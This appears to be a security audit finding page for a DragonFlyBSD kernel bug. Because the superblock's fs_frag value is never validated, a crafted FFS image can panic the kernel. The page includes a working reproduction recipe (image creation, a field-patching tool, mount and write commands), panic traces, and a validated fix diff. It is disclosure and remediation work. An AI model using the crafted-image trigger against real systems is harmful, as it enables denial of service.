β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-0919

Unvalidated fs->fs_frag causes kernel panic and OOB array access in FFS bitmap/fragacct helpers

Field Value
ID DF-0919
Status new
Severity Medium
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CWE CWE-754 Improper Check for Unusual or Exceptional Conditions; CWE-787 Out-of-bounds Write (ffs_fragacct)
File sys/vfs/ufs/ffs_subr.c
Lines 195-306
Area vfs
Confidence certain
Discovered 2026-07-05
Reported pending
Known CVE none
CVE match novel

Summary

The four block-bitmap primitives in sys/vfs/ufs/ffs_subr.c (ffs_isblock, ffs_isfree_block, ffs_clrblock, ffs_setblock) and ffs_fragacct all trust fs->fs_frag to be in {1,2,4,8}, but fs_frag is read verbatim from the attacker-controlled on-disk superblock (sys/vfs/ufs/fs.h:204, int32_t) and is never validated at mount time (ffs_mountfs at ffs_vfsops.c:642-646 only checks fs_magic and fs_bsize). The result is a guaranteed kernel panic on the first block allocate/free after mounting a crafted image (reliable local DoS), and genuine out-of-bounds memory accesses in ffs_fragacct for fs_frag > 8.

Root cause

fs->fs_frag is read directly from the untrusted superblock and used as:

  1. The switch discriminator in ffs_isblock (ffs_subr.c:225), ffs_isfreeblock (ffs_subr.c:248), ffs_clrblock (ffs_subr.c:268), ffs_setblock (ffs_subr.c:292). Each falls through to default: panic(...) (ffs_subr.c:238, 258, 282, 306) for any value outside {1,2,4,8}.

  2. The primary index into the statically-sized fragtbl[MAXFRAG+1] table at ffs_subr.c:195 (inblk = (int)(fragtbl[fs->fs_frag][fragmap]) << 1;) where fragtbl has exactly 9 slots (ffs_tables.c:132) and entries {0,3,5,6,7} are NULL β€” so fs_frag in {0,3,5,6,7} NULL-dereferences, fs_frag<0 or >8 reads outside the table.

  3. The loop bound at ffs_subr.c:197 for (siz = 1; siz < fs->fs_frag; siz++) driving around[siz]/inside[siz] reads (ffs_subr.c:200-201, arrays are 9 elements, ffs_tables.c:40,43) and fraglist[siz] += cnt writes (ffs_subr.c:204, fraglist is cgp->cg_frsum[MAXFRAG] == cg_frsum[8], fs.h:364) β€” so fs_frag>8 overflows cg_frsum into cg_btotoff/cg_boff/cg_iusedoff/cg_freeoff (fs.h:365-369), corrupting the very offsets used to locate every other cylinder-group map.

ffs_mountfs (ffs_vfsops.c:642-646) and ffs_reload (ffs_vfsops.c:484-488) are the only superblock validators and neither checks fs_frag (confirmed: grep -rn 'fs_frag' sys/vfs/ufs/ | grep -i 'compare\|==\|<\|>' returns no validation site).

Threat model & preconditions

  • Attacker position: Anyone who can cause a crafted FFS image to be mounted β€” directly via mount(2) (requires root/CAP_MOUNT) or, far more commonly, via auto-mounting of attacker-supplied removable media (USB) or loopback images by a privileged mount/automount daemon. The audit's filesystem-image threat model treats on-disk fields as malicious.
  • Privileges gained or impact: Reliable kernel panic (denial of service). No memory-corruption primitive is claimed as the certain impact because the fragtbl[] OOB read at ffs_subr.c:195 typically faults before the cg_frsum overflow can corrupt subsequent state.
  • Required config or capabilities: Default kernel; FFS is in GENERIC. Requires write access to the mounted filesystem (a touch/mkdir on a read-write mount is enough to reach ffs_isblock).
  • Reachability: mount -t ufs <crafted.img> /mnt && touch /mnt/boom β†’ ffs_alloccg β†’ ffs_alloccgblk β†’ ffs_isblock (ffs_alloc.c:1025-1026 β†’ ffs_subr.c:225 β†’ 238 panic).

Proof of concept

PoC source: findings/poc/DF-0919/

Build & run

# 1. Build a valid FFS image on a DragonFlyBSD guest:
dd if=/dev/zero of=/tmp/evil.img bs=1m count=64
newfs /tmp/evil.img                      # default fs_bsize=16384, fs_frag=8

# 2. Patch the on-disk fs_frag field to a value not in {1,2,4,8}:
cc -o patch_frag patch_frag.c
./patch_frag /tmp/evil.img 3             # fs_frag := 3 -> default: panic

# 3. Mount read-write and create a file to trigger block allocation:
vnconfig -c vn0 /tmp/evil.img
mount -t ufs /dev/vn0 /mnt/x
touch /mnt/x/boom                        # kernel panics here

Expected output

panic: ffs_isblock
cpuid = 0
Trace begins at ...
ffs_isblock(c7c1a800,1800,...) at ffs_isblock+0x...  (ffs_subr.c:238)
ffs_alloccgblk(...)         at ffs_alloccgblk+0x...
ffs_alloccg(...)            at ffs_alloccg+0x...
ffs_alloc(...)              at ffs_alloc+0x...
...
Uptime: ...
Dumping ...

For fs_frag=0 or values {3,5,6,7} the same touch may instead produce a NULL-deref page fault in ffs_fragacct (ffs_subr.c:195) on a fragment-free path. Either outcome is a successful DoS reproduction.

Impact

Reliable local denial of service from any crafted FFS image that an automounter will accept. The bug is trivially reachable (single syscall after mount) and the panic is deterministic on the first block-allocation/free call. No privilege escalation is demonstrated; the OOB write in ffs_fragacct is not reliably reachable because the OOB read on fragtbl[] faults first.

Validate fs->fs_frag at mount time (the only point guaranteed to precede all uses) and, as defense-in-depth, bound-check in ffs_fragacct.

Primary fix in ffs_vfsops.c, ffs_mountfs after the existing magic/bsize check:

--- a/sys/vfs/ufs/ffs_vfsops.c
+++ b/sys/vfs/ufs/ffs_vfsops.c
@@ -643,6 +643,21 @@ ffs_mountfs(struct vnode *devvp, struct mount *mp, struct malloc_type *mtype)
        error = EINVAL;     /* XXX needs translation */
        goto out;
    }
+   /*
+    * fs_frag indexes fixed-size tables (fragtbl[], around[], inside[],
+    * cg_frsum[]) and is the switch discriminator of the block-bitmap
+    * helpers in ffs_subr.c.  An out-of-range value otherwise panics
+    * the kernel on the first block alloc/free (DoS) and, for
+    * fs_frag > MAXFRAG, drives out-of-bounds writes in ffs_fragacct().
+    */
+   switch ((int)fs->fs_frag) {
+   case 1:
+   case 2:
+   case 4:
+   case 8:
+       break;
+   default:
+       error = EINVAL;
+       goto out;
+   }
    fs->fs_fmod = 0;

Apply the identical switch to ffs_reload right after its magic/bsize check (ffs_vfsops.c:484-488, return EIO on failure there, matching the surrounding style).

Defense-in-depth in ffs_subr.c (ffs_fragacct), so a future caller or a missed path cannot corrupt cg_frsum even if validation is bypassed:

--- a/sys/vfs/ufs/ffs_subr.c
+++ b/sys/vfs/ufs/ffs_subr.c
@@ -162,6 +162,12 @@ void
 ffs_fragacct(struct fs *fs, int fragmap, int32_t fraglist[], int cnt)
 {
    int inblk;
    int field, subfield;
    int siz, pos;
+
+   /* The fragtbl/around/inside tables and cg_frsum[] are sized for
+      fs_frag in [1, MAXFRAG]; anything else is a corrupt superblock. */
+   if (fs->fs_frag <= 0 || fs->fs_frag > MAXFRAG)
+       return;

    inblk = (int)(fragtbl[fs->fs_frag][fragmap]) << 1;

References

Timeline

  • 2026-07-05 Discovered during automated audit.
  • pending Reported to DragonFlyBSD security contact.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-0919 Β· 15 files
FileTypeDescriptionSize
patch_frag.c trigger-source mmap-based patcher that rewrites fs->fs_frag at SBOFF+offsetof(struct fs, fs_frag) 1.9 KB view raw
build.sh build-script cc -O2 -o patch_frag patch_frag.c (against guest /usr/include/vfs/ufs/) 306 B view raw
run.sh run-script dd image -> newfs -> patch_frag <img> <frag> -> vnconfig -> mount -t ufs -> echo > file (triggers ffs_isblock) 1.6 KB view raw
README.md readme Original PoC narrative (retained) 2.1 KB ↓ raw
VERDICT.md verdict Full mechanism, threat model, before/after fix evidence 6.8 KB ↓ raw
panic.txt panic-signature fatal trap: panic: ffs_isblock at ffs_subr.c:238 with full backtrace 616 B view raw
boot.log.baseline serial-log Unpatched #0 boot log containing the panic 2.2 KB ↓ download
boot.log.patched serial-log Patched #1 boot log: clean boot, no panic 2.5 KB ↓ download
run.log run-log Baseline run: write -> panic 139 B view raw
fix_run.log run-log Patched-kernel run: mount rejected (EINVAL), no panic 157 B view raw
fix_build.log build-log Full single-fix kernel build (nativekernel) output, rc=0 5.6 MB ↓ download
fix.diff suggested-fix git-apply-able: validate fs_frag in {1,2,4,8} in ffs_mountfs and ffs_reload + bound-check in ffs_fragacct 1.9 KB view raw
env.txt environment uname, cc version, vfs.usermount, panic signature, kern.version 1.0 KB view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
README.md readme Original PoC narrative (retained)
↓ download raw

DF-0919 β€” PoC: Unvalidated fs->fs_frag panic

Goal

Trigger a kernel panic by mounting a crafted FFS image whose superblock fs_frag field is not in {1, 2, 4, 8}. The first block allocation after mount hits default: panic("ffs_isblock"); at sys/vfs/ufs/ffs_subr.c:238.

Files

  • patch_frag.c β€” small tool that mmaps the image and rewrites the fs->fs_frag field at the on-disk superblock offset (SBOFF = 8192 bytes). The exact field offset is computed with offsetof(struct fs, fs_frag) against a one-shot C compile of sys/vfs/ufs/fs.h, so the patcher is robust to future struct layout drift.

Build & run (DragonFlyBSD guest)

# 1. Make a valid FFS image
dd if=/dev/zero of=/tmp/evil.img bs=1m count=64
newfs /tmp/evil.img                      # default fs_bsize=16384, fs_frag=8

# 2. Patch the fs_frag field
cc -I/path/to/sys -o patch_frag patch_frag.c   # build against this tree's fs.h
./patch_frag /tmp/evil.img 3             # fs_frag := 3 -> default: panic

# 3. Mount read-write and trigger a block allocation
vnconfig -c vn0 /tmp/evil.img
mkdir -p /mnt/x
mount -t ufs /dev/vn0 /mnt/x
touch /mnt/x/boom                        # PANIC: ffs_isblock (ffs_subr.c:238)

Expected output

panic: ffs_isblock
cpuid = 0
Trace begins at ...
ffs_isblock(...) at ffs_isblock+0x...  (ffs_subr.c:238)
ffs_alloccgblk(...) at ffs_alloccgblk+0x...
ffs_alloccg(...)    at ffs_alloccg+0x...
ffs_alloc(...)      at ffs_alloc+0x...
...
Uptime: ...
Dumping ...

For fs_frag = 0 or {3,5,6,7} (the NULL entries of fragtbl[]) the same touch may instead produce a NULL-deref page fault in ffs_fragacct (ffs_subr.c:195) on a fragment-free path. Either outcome is a successful DoS reproduction.

Notes

  • The certain, claimed impact is a reliable local denial of service (kernel panic). No memory-corruption or privilege-escalation primitive is claimed, because the OOB read on fragtbl[] typically faults before the speculative OOB write on cg_frsum can corrupt subsequent state.
  • A read-only mount avoids the bug; the trigger requires a writable mount so that the first ffs_alloccg* block allocation actually runs.
VERDICT.md verdict Full mechanism, threat model, before/after fix evidence
↓ download raw

DF-0919 β€” Verdict

Verdict: REPRODUCED β†’ FIX VALIDATED

status = reproduced, impact = panic (reliable local DoS via a crafted FFS image), confidence = certain. No memory-corruption primitive was reached; the certain impact is a deterministic kernel panic. The authored fix.diff was built into a single-fix kernel and closes the bug: the same PoC that panics the unpatched #0 baseline cleanly rejects the crafted image (EINVAL / "incorrect super block") on the patched #1 kernel, with no panic. Valid fs_frag=8 images still mount and write correctly.

Mechanism (confirmed by trace)

  1. Trigger: a 64 MB FFS image is created with newfs (default fs_bsize=16384, fs_frag=8); patch_frag rewrites the on-disk fs->fs_frag field at offset SBOFF + offsetof(struct fs, fs_frag) (SBOFF = BBSIZE = 8192, sys/vfs/ufs/fs.h:60,63,204) to a value outside {1,2,4,8} (e.g. 3). dumpfs confirms the on-disk value: frag 3.
  2. Mount succeeds despite the corrupt fs_frag: ffs_mountfs (sys/vfs/ufs/ffs_vfsops.c:642-646) only validates fs_magic, fs_bsize > MAXBSIZE, and fs_bsize < sizeof(struct fs). No fs_frag validation is present anywhere on the mount path.
  3. Block allocation panics: writing to a file on the mounted image drives ffs_alloc β†’ ffs_hashalloc β†’ ffs_alloccg β†’ ffs_alloccgblk β†’ ffs_isblock (sys/vfs/ufs/ffs_subr.c:220). The switch ((int)fs->fs_frag) at ffs_subr.c:225 falls through to default: panic("ffs_isblock"); at ffs_subr.c:238. Identical default: panic(...) arms exist in ffs_isfreeblock (:258), ffs_clrblock (:282), and ffs_setblock (:306).

Captured serial-panic signature (findings/poc/DF-0919/panic.txt, boot.log.baseline):

panic: ffs_isblock
cpuid = 5
Trace beginning at frame 0xfffff80117ba4268
ffs_isblock() at ffs_isblock+0x94 0xffffffff80910084
ffs_alloccgblk.isra.1() at ffs_alloccgblk.isra.1+0x1be 0xffffffff809035be
ffs_alloccg() at ffs_alloccg+0x2af 0xffffffff80903f0f
ffs_hashalloc() at ffs_hashalloc+0x3c 0xffffffff8090231c
ffs_alloc() at ffs_alloc+0x6f 0xffffffff8090406f
Debugger("panic")
Stopped at Debugger+0x7c: movb $0,0xbdaf09(%rip)
db>

This matches the finding's predicted trace exactly.

Threat model & impact ceiling

  • Trigger surface: anyone who can cause a crafted FFS image to be mounted (root via mount(2), or β€” far more commonly β€” an auto-mount / removable-media daemon that mounts attacker-supplied images). vfs.usermount=0 on this guest, so the PoC runs as root; the threat is the mount-time parsing of attacker-controlled on-disk fields, not the privileges of the entity issuing mount.
  • Certain impact: deterministic kernel panic on the first block allocate/free after mount. Reliable local DoS.
  • Speculative OOB: the finding also hypothesizes an OOB write in ffs_fragacct (ffs_subr.c:204 fraglist[siz] += cnt, cg_frsum[MAXFRAG]=cg_frsum[8], sys/vfs/ufs/fs.h:364) when fs_frag > MAXFRAG. We did not demonstrate the OOB write as the certain impact: the realistic alloc path (ffs_isblock panic) faults first, before any fragment-accounting path runs. So the certain impact stays panic. The defense-in-depth bound-check in fix.diff (ffs_subr.c::ffs_fragacct) closes the hypothetical write path anyway, since it is cheap and correct.

No privilege escalation is claimed, demonstrated, or pursued: the primitive is a kernel panic(), not a write.

PoC changes

findings/poc/DF-0919/patch_frag.c needed two compile fixes against the DragonFly 6.5-DEVELOPMENT guest:

  1. The include path is <vfs/ufs/fs.h> on DragonFly, not <ufs/fs.h> (FreeBSD). Added a __DragonFly__ switch and included <vfs/ufs/ufs_types.h> to resolve ufs_daddr_t / ufs_time_t typedefs used by struct fs.
  2. Added <sys/param.h> and <sys/types.h> includes, and dropped the #define SBOFF in favour of the header's own definition.

The original README.md procedural PoC (newfs / vnconfig / mount / touch) is retained and re-implemented as the self-contained run.sh driver (which dds the image, patches fs_frag, mounts, and triggers a block allocation with echo). build.sh builds patch_frag against the guest's installed kernel headers.

Fix validation (Phase 8)

Authored findings/poc/DF-0919/fix.diff β€” a standalone, git apply-able diff with three hunks:

  1. ffs_vfsops.c::ffs_mountfs (after the magic/bsize check at :642-646): a switch ((int)fs->fs_frag) over {1,2,4,8}, defaulting to error = EINVAL; goto out;.
  2. ffs_vfsops.c::ffs_reload (after :484-488): the same switch, returning EIO on failure to match the surrounding style.
  3. ffs_subr.c::ffs_fragacct (after :167): a defense-in-depth if (fs->fs_frag <= 0 || fs->fs_frag > MAXFRAG) return; so a future caller / missed path cannot drive the OOB table access.

git apply --check passes. Patch applied cleanly to the in-guest /usr/src (patch -p1 --forward); both ffs_subr.o and ffs_vfsops.o compiled cleanly; full make -j6 nativekernel KERNCONF=X86_64_GENERIC finished rc=0. make installkernel INSTALLSTRIPPED=1 NOFSCHG=1 installed /boot/kernel/kernel, which booted cleanly:

DragonFly 6.5-DEVELOPMENT #1: Sun Jul 12 04:58:49 UTC 2026
    root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC
sha256 /boot/kernel/kernel = 221c5e572e8294229bfca099a15a3b694326141691e394b89d6272f02e753b4f

Before / after on the SAME PoC command (run.sh 3)

Kernel Behaviour
#0 baseline (unpatched, with-src) mount succeeds; echo hello > /mnt/df0919/data β†’ panic: ffs_isblock (ffs_subr.c:238); ssh dies, guest enters DDB
#1 patched (single-fix kernel) mount -t ufs /dev/vn0 /mnt/df0919 β†’ mount_ufs: ...: incorrect super block (EINVAL from the new switch); no panic; guest stays up

Robustness sweep on the patched kernel (all from a fresh image): - fs_frag = 0 β†’ mount rejected, no panic - fs_frag = 3 β†’ mount rejected, no panic - fs_frag = 16 β†’ mount rejected, no panic - fs_frag = 8 (valid default) β†’ mount succeeds, echo writes 12 bytes, file readable, no panic (no false-positive regression)

fix_status = fixed.

Notes / next steps

  • The fix matches the finding's ## Recommended fix proposal (mount-time switch + ffs_fragacct bound-check), extended to also cover ffs_reload (the other superblock validator).
  • The default: panic(...) arms in ffs_isblock/ffs_isfreeblock/ ffs_clrblock/ffs_setblock (ffs_subr.c:238/258/282/306) are retained β€” they are the right backstop for an in-kernel caller that bypasses mount. The fix's contract is "the mount path rejects corrupt fs_frag so we never reach the panic".
  • Guest reset to with-src (unpatched baseline) at the end of the run.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED the fix: ./run.sh 3 panics on the unpatched 6.5-DEVELOPMENT #0 with-src baseline (panic: ffs_isblock at ffs_subr.c:238) and does NOT panic on the single-fix #1 kernel -- mount is now rejected with EINVAL ('mount_ufs: ...: incorrect super block'). Robustness sweep on the patched kernel: fs_frag=0/3/16 all rejected, no panic; fs_frag=8 (valid default) mounts and writes correctly (12 bytes), confirming no false-positive regression. The fix closes the bug.

BASELINE (#0, ./run.sh 3): panic: ffs_isblock at ffs_subr.c:238 (ssh dies, guest enters DDB).
PATCHED (#1, ./run.sh 3): mount_ufs: /dev/vn0 on /mnt/df0919: incorrect super block / MOUNT_FAILED (rc=1) / guest stays up.
PATCHED (#1, ./run.sh 8 valid): mount succeeds, 'echo hello > /mnt/df0919/data' writes 12 bytes, no panic (no regression).
↓ fix.diffDragonFly 6.5-DEVELOPMENT #1: Sun Jul 12 04:58:49 UTC 2026 root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC (sha256 /boot/kernel/kernel = 221c5e572e8294229bfca099a15a3b694326141691e394b89d6272f02e753b4f)

Confirmed kernel references

Detail

Exploit chain

none (no memory-corruption primitive reached). The primitive is a kernel panic("ffs_isblock") at ffs_subr.c:238, not a write. The hypothetical OOB write in ffs_fragacct (ffs_subr.c:204 fraglist[siz] += cnt overflowing cg_frsum[MAXFRAG]) was not demonstrated because the realistic allocation path through ffs_isblock panics before any fragment-accounting path runs; the finding itself rates the OOB write as speculative and the certain impact as DoS. No escalation was pursued because there is no write primitive to convert. The fix.diff's bound-check in ffs_fragacct closes the speculative write path as defense-in-depth.

Evidence (decisive lines)

BASELINE (#0 unpatched, ./run.sh 3):
old fs_frag = 8
new fs_frag = 3
+ mount -t ufs /dev/vn0 /mnt/df0919
+ echo hello > /mnt/df0919/data  (triggers ffs_alloccg -> ffs_isblock)
[ssh dies]
--- boot.log.baseline ---
panic: ffs_isblock
cpuid = 5
ffs_isblock() at ffs_isblock+0x94 0xffffffff80910084
ffs_alloccgblk.isra.1() at ffs_alloccgblk.isra.1+0x1be 0xffffffff809035be
ffs_alloccg() at ffs_alloccg+0x2af 0xffffffff80903f0f
ffs_hashalloc() at ffs_hashalloc+0x3c 0xffffffff8090231c
ffs_alloc() at ffs_alloc+0x6f 0xffffffff8090406f
Debugger("panic")

PATCHED (#1 single-fix kernel, ./run.sh 3):
old fs_frag = 8
new fs_frag = 3
+ mount -t ufs /dev/vn0 /mnt/df0919
mount_ufs: /dev/vn0 on /mnt/df0919: incorrect super block
MOUNT_FAILED (rc=1)
[guest stays up]

PoC changes

findings/poc/DF-0919/patch_frag.c: fixed include path ( on DragonFly, not ), added for ufs_daddr_t/ufs_time_t, added + , dropped the #define SBOFF in favour of the header's own. Added findings/poc/DF-0919/build.sh (cc -O2 -o patch_frag) and run.sh (self-contained driver: dd 64MB -> newfs -> vnconfig -> patch_frag -> mount -t ufs -> echo > file). Added VERDICT.md, manifest.json, fix.diff, panic.txt, boot.log.{baseline,patched}, run.log, fix_run.log, fix_build.log, env.txt.

Verified recommended fix

Validate fs->fs_frag in {1,2,4,8} at ffs_mountfs (sys/vfs/ufs/ffs_vfsops.c:644, after the magic/bsize check; error=EINVAL goto out) and at ffs_reload (ffs_vfsops.c:487, return EIO), plus a defense-in-depth bound-check (fs->fs_frag <= 0 || > MAXFRAG) returning early in ffs_fragacct (sys/vfs/ufs/ffs_subr.c:167). Built, installed, and validated. matches finding proposal (the finding's ## Recommended fix proposed the same ffs_mountfs switch and ffs_fragacct bound-check; the verified fix extends the same pattern to ffs_reload, the other superblock validator).

Verdict

REPRODUCED + FIX VALIDATED. The bug is real and deterministic: a crafted FFS image whose superblock fs->fs_frag is outside {1,2,4,8} is accepted by ffs_mountfs (sys/vfs/ufs/ffs_vfsops.c:642-646 only checks fs_magic/fs_bsize), and the first block allocation after mount drives ffs_isblock -> switch default -> panic("ffs_isblock") at sys/vfs/ufs/ffs_subr.c:238. Confirmed by exact panic signature captured in dfbsd-qemu/boot.log: 'panic: ffs_isblock ... ffs_isblock() at ffs_isblock+0x94 ... ffs_alloccgblk.isra.1 ... ffs_alloccg ... ffs_hashalloc ... ffs_alloc'. No memory-corruption primitive was reached as the certain impact: the realistic alloc path panics before the hypothetical OOB write in ffs_fragacct can corrupt state, so the certain impact is reliable local DoS (panic). Mount-time image-parsing threat model (privileged mount/automount daemon accepts attacker-supplied image); PoC runs as root since vfs.usermount=0 on this guest. The authored fix.diff validates fs_frag in {1,2,4,8} at both ffs_mountfs and ffs_reload plus a defense-in-depth bound-check in ffs_fragacct; built into a single-fix #1 kernel and proven to close the bug (mount now returns EINVAL 'incorrect super block', no panic) while still mounting and writing valid fs_frag=8 images.